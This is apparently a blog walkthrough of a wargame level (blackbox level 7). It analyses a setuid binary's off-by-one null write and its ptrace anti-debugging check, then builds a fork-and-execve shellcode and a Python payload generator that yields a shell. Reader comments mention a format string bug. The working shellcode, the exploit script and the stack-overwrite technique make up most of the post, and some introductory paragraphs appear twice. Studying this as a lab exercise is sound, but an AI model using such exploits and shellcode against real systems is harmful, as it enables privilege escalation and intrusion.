As in the previous posts, the password for the next level has been
replaced with question marks so as to not make this too obvious, and
so that the point of the walkthrough, which is mainly educational, will
not be missed.
Also, make sure you notice this SPOILER ALERT! If you want to try and solve the level by yourself then read no further!
Level 7. There we go again:
The next lines are somewhat more tricky and important to this level:
Now, what is this ptrace, what are the arguments, and why is it crucial for this level.
Well, ptrace is a system call, and we can find some documentation about it in the man pages (cropped for brevity and relevance, you can find the full man-pages by invoking man ptrace):
When will it fail? Well, if the process is already marked as being traced, then ptrace will fail, it will happen if we try to debug the program by running it in gdb. This can be averted by setting a breakpoint before the test instruction and changing the value of eax so that the test will pass. This is not important for this level, but it's good to know.
The real important thing is, that since the process is in trace mode, we can't execute a shellcode that has an execve system call in it.
Bear that in mind as we continue to analyze the program.
The next piece of code is a bit tricky:
However, and this is important, there is an interesting point about strncpy, and that is that if the source string is longer than the limit, it will not terminate the string at the destination. This means that buf will not necessarily have a string terminator inside it, and then strlen will keep searching up the rest of the stack for a 0x00.
If the search is successful, i.e. we have a '$' in our buffer, we are turned towards:
If we do not have a '$' in buf, we go to:
Now, here I'd like to discuss the last few lines of code in detail. The thing is, that when ret is executed, it pops whatever esp points to, and jumps there.
Notice that before the return, esp is loaded with ecx-4, while ecx is popped from the stack.
Before we continue, I just want to sketch the stack:
Now suppose this scenario:
This means that the tampered ecx will point to ebp-0xe8. So, 4 bytes blow that, at ebp-0xec, we should prepare the address ebp-0x3f0=0xbffefcf8.
Now that we have the structure of the payload figured out, we need to figure out the payload.
Remember that the call to ptrace with PTRACE_TRACEME will make the process stop before any call to execve.
How can we circumvent that? Well, the ptrace is active only on the process that called it, so if we were to fork, the child process will not be traced, and can do whatever it wants without any limitations.
So what the shellcode needs to do is fork, the child should call execve, and the parent should wait for the child (this way we can interact with the shell and not cause it to just run in the background).
We want out shellcode to be the equivalent of the following C code:
Instead of disassembling fork, I'll disassemble vfork, because fork under libc does not use the fork system call, but rather clone (look in notes of the fork man pages).
The disassembly of wait4's wrapper is:
Let's extract the raw code, and embed it in a script:
Also, make sure you notice this SPOILER ALERT! If you want to try and solve the level by yourself then read no further!
Level 7. There we go again:
$ ssh -p 2225 level7@blackbox.smashthestack.org level7@blackbox.smashthestack.org's password: ... level7@blackbox:~$ ls -l total 12 -rwsr-xr-x 1 level8 level8 7851 2008-04-21 18:26 heybabe -rw-r--r-- 1 root level7 10 2008-01-24 05:56 passwdNo source, so like the previous time, let's start with dumping the data:
level7@blackbox:~$ objdump -s --section=.rodata heybabe heybabe: file format elf32-i386 Contents of section .rodata: 80486b0 03000000 01000200 75736167 653a2025 ........usage: % 80486c0 73203c61 72673e0a 00000000 54726163 s <arg>.....Trac 80486d0 696e6720 64657465 63746564 203a2920 ing detected :) 80486e0 736f7272 79202e2e 2e2e2e00 544f5547 sorry ......TOUG 80486f0 48205348 49542100 57616c6b 20746865 H SHIT!.Walk the 8048700 20776179 206f6620 74686520 31333337 way of the 1337 8048710 206f6e65 2100 one!.As before, I've colored the strings, and made a summary:
80486b8: usage : %s <arg>\n 80486cc: Tracing detected :) sorry ..... 80486ec: TOUGH SHIT! 80486f8: Walk the way of the 1337 one!Now we'll disassemble main:
level7@blackbox:~$ objdump -d heybabe|grep -A80 "<main>:" 08048464 <main>: 8048464: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048468: 83 e4 f0 and $0xfffffff0,%esp 804846b: ff 71 fc pushl 0xfffffffc(%ecx) 804846e: 55 push %ebp 804846f: 89 e5 mov %esp,%ebp 8048471: 57 push %edi 8048472: 51 push %ecx 8048473: 81 ec 10 04 00 00 sub $0x410,%esp 8048479: 89 8d 04 fc ff ff mov %ecx,0xfffffc04(%ebp) 804847f: 8b 85 04 fc ff ff mov 0xfffffc04(%ebp),%eax 8048485: 83 38 02 cmpl $0x2,(%eax) 8048488: 74 27 je 80484b1 <main+0x4d> 804848a: 8b 95 04 fc ff ff mov 0xfffffc04(%ebp),%edx 8048490: 8b 42 04 mov 0x4(%edx),%eax 8048493: 8b 00 mov (%eax),%eax 8048495: 89 44 24 04 mov %eax,0x4(%esp) 8048499: c7 04 24 b8 86 04 08 movl $0x80486b8,(%esp) 80484a0: e8 cf fe ff ff call 8048374 <printf@plt> 80484a5: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 80484ac: e8 d3 fe ff ff call 8048384 <exit@plt> 80484b1: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 80484b8: 00 80484b9: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 80484c0: 00 80484c1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80484c8: 00 80484c9: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80484d0: e8 7f fe ff ff call 8048354 <ptrace@plt> 80484d5: 85 c0 test %eax,%eax 80484d7: 79 18 jns 80484f1 <main+0x8d> 80484d9: c7 04 24 cc 86 04 08 movl $0x80486cc,(%esp) 80484e0: e8 5f fe ff ff call 8048344 <puts@plt> 80484e5: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 80484ec: e8 93 fe ff ff call 8048384 <exit@plt> 80484f1: 8b bd 04 fc ff ff mov 0xfffffc04(%ebp),%edi 80484f7: 8b 47 04 mov 0x4(%edi),%eax 80484fa: 83 c0 04 add $0x4,%eax 80484fd: 8b 00 mov (%eax),%eax 80484ff: c7 44 24 08 e7 03 00 movl $0x3e7,0x8(%esp) 8048506: 00 8048507: 89 44 24 04 mov %eax,0x4(%esp) 804850b: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048511: 89 04 24 mov %eax,(%esp) 8048514: e8 7b fe ff ff call 8048394 <strncpy@plt> 8048519: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 804851f: b9 ff ff ff ff mov $0xffffffff,%ecx 8048524: 89 85 00 fc ff ff mov %eax,0xfffffc00(%ebp) 804852a: b0 00 mov $0x0,%al 804852c: fc cld 804852d: 8b bd 00 fc ff ff mov 0xfffffc00(%ebp),%edi 8048533: f2 ae repnz scas %es:(%edi),%al 8048535: 89 c8 mov %ecx,%eax 8048537: f7 d0 not %eax 8048539: 48 dec %eax 804853a: 40 inc %eax 804853b: c6 84 05 10 fc ff ff movb $0x0,0xfffffc10(%ebp,%eax,1) 8048542: 00 8048543: c7 44 24 04 24 00 00 movl $0x24,0x4(%esp) 804854a: 00 804854b: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048551: 89 04 24 mov %eax,(%esp) 8048554: e8 db fd ff ff call 8048334 <strchr@plt> 8048559: 85 c0 test %eax,%eax 804855b: 74 18 je 8048575 <main+0x111> 804855d: c7 04 24 ec 86 04 08 movl $0x80486ec,(%esp) 8048564: e8 0b fe ff ff call 8048374 <printf@plt> 8048569: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 8048570: e8 0f fe ff ff call 8048384 <exit@plt> 8048575: c7 04 24 f8 86 04 08 movl $0x80486f8,(%esp) 804857c: e8 f3 fd ff ff call 8048374 <printf@plt> 8048581: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048587: 89 04 24 mov %eax,(%esp) 804858a: e8 e5 fd ff ff call 8048374 <printf@plt> 804858f: b8 00 00 00 00 mov $0x0,%eax 8048594: 81 c4 10 04 00 00 add $0x410,%esp 804859a: 59 pop %ecx 804859b: 5f pop %edi 804859c: 5d pop %ebp 804859d: 8d 61 fc lea 0xfffffffc(%ecx),%esp 80485a0: c3 retThe first few lines, up to the cmpl & je should be familiar (if not, see the previous chapter for a detailed description) and mean first, that the address to the arguments is stored at ebp-0x3fc, and second, that the program expects exactly one argument.
The next lines are somewhat more tricky and important to this level:
80484b1: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 80484b8: 00 80484b9: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 80484c0: 00 80484c1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80484c8: 00 80484c9: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80484d0: e8 7f fe ff ff call 8048354 <ptrace@plt> 80484d5: 85 c0 test %eax,%eax 80484d7: 79 18 jns 80484f1 <main+0x8d>The called function is ptrace, and it is called with the following parameters: ptrace(0, 0, 1, 0). Then the return value is tested to be 0, and a jump is performed accordingly.
Now, what is this ptrace, what are the arguments, and why is it crucial for this level.
Well, ptrace is a system call, and we can find some documentation about it in the man pages (cropped for brevity and relevance, you can find the full man-pages by invoking man ptrace):
PTRACE(2) Linux Programmer's Manual PTRACE(2) NAME ptrace - process trace SYNOPSIS #includeOK, what can we learn from the man pages:long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); DESCRIPTION The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement breakpoint debugging and system call tracing. The parent can initiate a trace by calling fork(2) and having the resulting child do a PTRACE_TRACEME, followed (typically) by an exec(3). Alternatively, the parent may commence trace of an existing process using PTRACE_ATTACH. (See additional notes below.) ... The value of request determines the action to be performed: PTRACE_TRACEME Indicates that this process is to be traced by its parent. Any signal (except SIGKILL) delivered to this process will cause it to stop and its parent to be notified via wait(2). Also, all subsequent calls to execve(2) by this process will cause a SIG‐ TRAP to be sent to it, giving the parent a chance to gain con‐ trol before the new program begins execution. A process proba‐ bly shouldn't make this request if its parent isn't expecting to trace it. (pid, addr, and data are ignored.) The above request is used only by the child process; the rest are used only by the parent. In the following requests, pid specifies the child process to be acted on. For requests other than PTRACE_KILL, the child process must be stopped. ... RETURN VALUE On success, PTRACE_PEEK* requests return the requested data, while other requests return zero. On error, all requests return -1, and errno is set appropriately. Since the value returned by a successful PTRACE_PEEK* request may be -1, the caller must check errno after such requests to determine whether or not an error occurred. ...
- The ptrace system-call receives 4 parameters: a request code, a pid, an address pointer and a data pointer.
- The request code used in our case is 0, which corresponds to PTRACE_TRACEME. What this request does is make the process behave in a traceable fashion, which involves, among other things, making it stop before any call to execve. Also, all the rest of the arguments are ignored.
- The function returns -1 on failure.
80484d9: c7 04 24 cc 86 04 08 movl $0x80486cc,(%esp) 80484e0: e8 5f fe ff ff call 8048344 <puts@plt> 80484e5: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 80484ec: e8 93 fe ff ff call 8048384 <exit@plt>That's just an error print and an exit.
When will it fail? Well, if the process is already marked as being traced, then ptrace will fail, it will happen if we try to debug the program by running it in gdb. This can be averted by setting a breakpoint before the test instruction and changing the value of eax so that the test will pass. This is not important for this level, but it's good to know.
The real important thing is, that since the process is in trace mode, we can't execute a shellcode that has an execve system call in it.
Bear that in mind as we continue to analyze the program.
80484f1: 8b bd 04 fc ff ff mov 0xfffffc04(%ebp),%edi 80484f7: 8b 47 04 mov 0x4(%edi),%eax 80484fa: 83 c0 04 add $0x4,%eax 80484fd: 8b 00 mov (%eax),%eaxThis just loads eax with the address of argv[1] (again, should be familiar from the previous chapter).
80484ff: c7 44 24 08 e7 03 00 movl $0x3e7,0x8(%esp) 8048506: 00 8048507: 89 44 24 04 mov %eax,0x4(%esp) 804850b: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048511: 89 04 24 mov %eax,(%esp) 8048514: e8 7b fe ff ff call 8048394 <strncpy@plt>Now, this is a call to a safe strncpy with the destination being ebp-0x3f0, which we will call from now on buf, the source being argv[1] and the maximum size limit being 0x3e7.
The next piece of code is a bit tricky:
8048519: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 804851f: b9 ff ff ff ff mov $0xffffffff,%ecx 8048524: 89 85 00 fc ff ff mov %eax,0xfffffc00(%ebp) 804852a: b0 00 mov $0x0,%al 804852c: fc cld 804852d: 8b bd 00 fc ff ff mov 0xfffffc00(%ebp),%edi 8048533: f2 ae repnz scas %es:(%edi),%al 8048535: 89 c8 mov %ecx,%eax 8048537: f7 d0 not %eax 8048539: 48 dec %eaxThis is basically an inline implementation of strlen with buf as the argument. For a more in depth explanation of how this works you can check out this article. Bottom line, eax now contains the length of buf, which is the number of bytes until the first string terminator.
However, and this is important, there is an interesting point about strncpy, and that is that if the source string is longer than the limit, it will not terminate the string at the destination. This means that buf will not necessarily have a string terminator inside it, and then strlen will keep searching up the rest of the stack for a 0x00.
804853a: 40 inc %eax 804853b: c6 84 05 10 fc ff ff movb $0x0,0xfffffc10(%ebp,%eax,1) 8048542: 00This puts a string terminator after the end of buf.
8048543: c7 44 24 04 24 00 00 movl $0x24,0x4(%esp) 804854a: 00 804854b: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048551: 89 04 24 mov %eax,(%esp) 8048554: e8 db fd ff ff call 8048334 <strchr@plt> 8048559: 85 c0 test %eax,%eax 804855b: 74 18 je 8048575 <main+0x111>This performs a search on buf for the character '$'=0x24 using strchr, which if successful, returns some non-0 pointer to the character, or NULL on failure.
If the search is successful, i.e. we have a '$' in our buffer, we are turned towards:
804855d: c7 04 24 ec 86 04 08 movl $0x80486ec,(%esp) 8048564: e8 0b fe ff ff call 8048374 <printf@plt> 8048569: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp) 8048570: e8 0f fe ff ff call 8048384 <exit@plt>This prints a message and exits. This is important since this path does not lead to a return from main.
If we do not have a '$' in buf, we go to:
804857c: e8 f3 fd ff ff call 8048374Which contains a return from main.8048581: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax 8048587: 89 04 24 mov %eax,(%esp) 804858a: e8 e5 fd ff ff call 8048374 <printf@plt> 804858f: b8 00 00 00 00 mov $0x0,%eax 8048594: 81 c4 10 04 00 00 add $0x410,%esp 804859a: 59 pop %ecx 804859b: 5f pop %edi 804859c: 5d pop %ebp 804859d: 8d 61 fc lea 0xfffffffc(%ecx),%esp 80485a0: c3 ret
Now, here I'd like to discuss the last few lines of code in detail. The thing is, that when ret is executed, it pops whatever esp points to, and jumps there.
Notice that before the return, esp is loaded with ecx-4, while ecx is popped from the stack.
Before we continue, I just want to sketch the stack:
Now suppose this scenario:
- We supply a very long, yet to be determined, argument to the program.
- The important thing is that we want ecx to be 0xbfff0100.
- This will make strlen stop when it reaches the LSB of the stored ecx, which means that a new 0x00 byte will be written on the second byte of the stored ecx, resulting in 0xbfff0000, which is an address 256 bytes lower than the original ecx.
- That address is actually an address inside buf.
- When at the end of main, that address (-4) will be loaded into esp, we can make sure that it contains the address of the bottom of buf.
- The bottom of buf itself will contain a shellcode.
level7@blackbox:~$ gdb heybabe GNU gdb 6.4.90-debian ... (gdb) b main Breakpoint 1 at 0x8048473 (gdb) run Starting program: /home/level7/heybabe Breakpoint 1, 0x08048473 in main () (gdb) x/a $ebp-8 0xbfffda80: 0xbfffdaa0We would like that to be 0xbfff0100. So let's try with an argument 0xbfffdaa0-0xbfff0100=0xd9a0 bytes long:
(gdb) run `python -c "print 'a'*0xd9a0"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level7/heybabe `python -c "print 'a'*0xd9a0"` Breakpoint 1, 0x08048473 in main () (gdb) x/a $ebp-8 0xbfff00e0: 0xbfff0100Good. You can also see that ebp-8=0xbfff00e0 so ebp=0xbfff00e8.
This means that the tampered ecx will point to ebp-0xe8. So, 4 bytes blow that, at ebp-0xec, we should prepare the address ebp-0x3f0=0xbffefcf8.
Now that we have the structure of the payload figured out, we need to figure out the payload.
Remember that the call to ptrace with PTRACE_TRACEME will make the process stop before any call to execve.
How can we circumvent that? Well, the ptrace is active only on the process that called it, so if we were to fork, the child process will not be traced, and can do whatever it wants without any limitations.
So what the shellcode needs to do is fork, the child should call execve, and the parent should wait for the child (this way we can interact with the shell and not cause it to just run in the background).
We want out shellcode to be the equivalent of the following C code:
pid = fork(); if (pid == 0) { execve(...); } else { wait(NULL); }We have already worked out the code for the execve in the second chapter. Let's figure out the other two.
Instead of disassembling fork, I'll disassemble vfork, because fork under libc does not use the fork system call, but rather clone (look in notes of the fork man pages).
(gdb) disas vfork Dump of assembler code for function vfork: 0x00c6f950Now for wait. The thing is, wait is not a system call by itself, wait4 is. The prototype for wait4 is:: pop %ecx 0x00c6f951 : mov %gs:0x4c,%edx 0x00c6f958 : mov %edx,%eax 0x00c6f95a : neg %eax 0x00c6f95c : jne 0xc6f963 0x00c6f95e : mov $0x80000000,%eax 0x00c6f963 : mov %eax,%gs:0x4c 0x00c6f969 : mov $0xbe,%eax 0x00c6f96e ...: int $0x80
pid_t wait4(pid_t pid, int *status, int options, struct rusage *rusage);So wait(NULL) is equivalent to wait4(-1, NULL, 0, NULL) . Using a pid of -1 means it waits for any child process (from the man page of waitpid).
The disassembly of wait4's wrapper is:
(gdb) disas wait4 Dump of assembler code for function wait4: 0x00c6ef70So let's write our shellcode and try it out. I've written it with ptrace in the beginning so we can make sure it works under the same constraints as it would in the exploit.: push %esi 0x00c6ef71 : push %ebx 0x00c6ef72 : mov 0x18(%esp),%esi 0x00c6ef76 ...: mov 0x14(%esp),%edx 0x00c6ef7a : mov 0x10(%esp),%ecx 0x00c6ef7e : mov 0xc(%esp),%ebx 0x00c6ef82 : mov $0x72,%eax 0x00c6ef87 : int $0x80
level7@blackbox:/tmp$ cat > shellcode7.c #include <sys/ptrace.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int pid; pid = getpid(); ptrace(PTRACE_TRACEME, 0, NULL, NULL); __asm__( "xorl %eax,%eax\n\t" "movb $0xbe,%al\n\t" "int $0x80\n\t" "test %eax,%eax\n\t" "je child\n\t" "xorl %eax,%eax\n\t" "xorl %ebx,%ebx\n\t" "dec %ebx\n\t" "xorl %ecx,%ecx\n\t" "xorl %edx,%edx\n\t" "xorl %esi,%esi\n\t" "movb $0x72,%al\n\t" "int $0x80\n" "child:\n\t" "xorl %eax,%eax\n\t" "pushl %eax\n\t" "pushl $0x68732f2f\n\t" "pushl $0x6e69622f\n\t" "movl %esp, %ebx\n\t" "pushl %eax\n\t" "pushl %ebx\n\t" "movl %esp, %ecx\n\t" "xorl %edx, %edx\n\t" "movb $0x0b, %al\n\t" "int $0x80" ); return 0; } level7@blackbox:/tmp$ gcc -o shellcode7 shellcode7.c level7@blackbox:/tmp$ ./shellcode7 sh-3.1$It works.
Let's extract the raw code, and embed it in a script:
level7@blackbox:/tmp$ cat > gen7.py import struct SHELLCODE = "31c0b0becd8085c0740f31c031db4b31c931d231f6b072cd8031c050682f2f7368682f62696 e89e3505389e131d2b00bcd80".decode("hex") BUF = 0xbffefcf8 ARG = SHELLCODE ARG += 'X' * (0x3f0 - 0xec - len(ARG)) ARG += struct.pack("Show time:ARG += 'X' * (0xd9a0 - len(ARG)) print ARG
level7@blackbox:~$ ~/heybabe `python /tmp/gen7.py` Walk the way of the 1337 one!1���̀��t1�1�K1�1�1��r̀1�Ph//shh/bin��PS��1Ұ XXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX����XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXsh-3.1$ sh-3.1$ cat /home/level8/password ????????????On to the next level (sorry for the spam there, but that IS the output)
nice writeup, btw didnt you notice the format string vuln?
ReplyDeleteI did not, care to enlighten me?
ReplyDeleteSure!Check this disassembly..
ReplyDelete8048581: 8d 85 10 fc ff ff lea 0xfffffc10(%ebp),%eax
8048587: 89 04 24 mov %eax,(%esp)
804858a: e8 e5 fd ff ff call 8048374
Translates to, printf(buffer) and buffer happens to be our user supplied buffer, so format string vuln!
I'm working on this level. I end up with roughly the same conclusion you did, I found my padding size I found the error in the code which compromises the saved esp and I wrote some code to exploit the vulnerability. My goal was not obtain a shell though, I just concentrate on the password file, so my exploit vector contains the code for read the file and write it on screen. so functions 3,4,5,1 int 80. My question is: why my code does stop the process as if I used execve?
ReplyDelete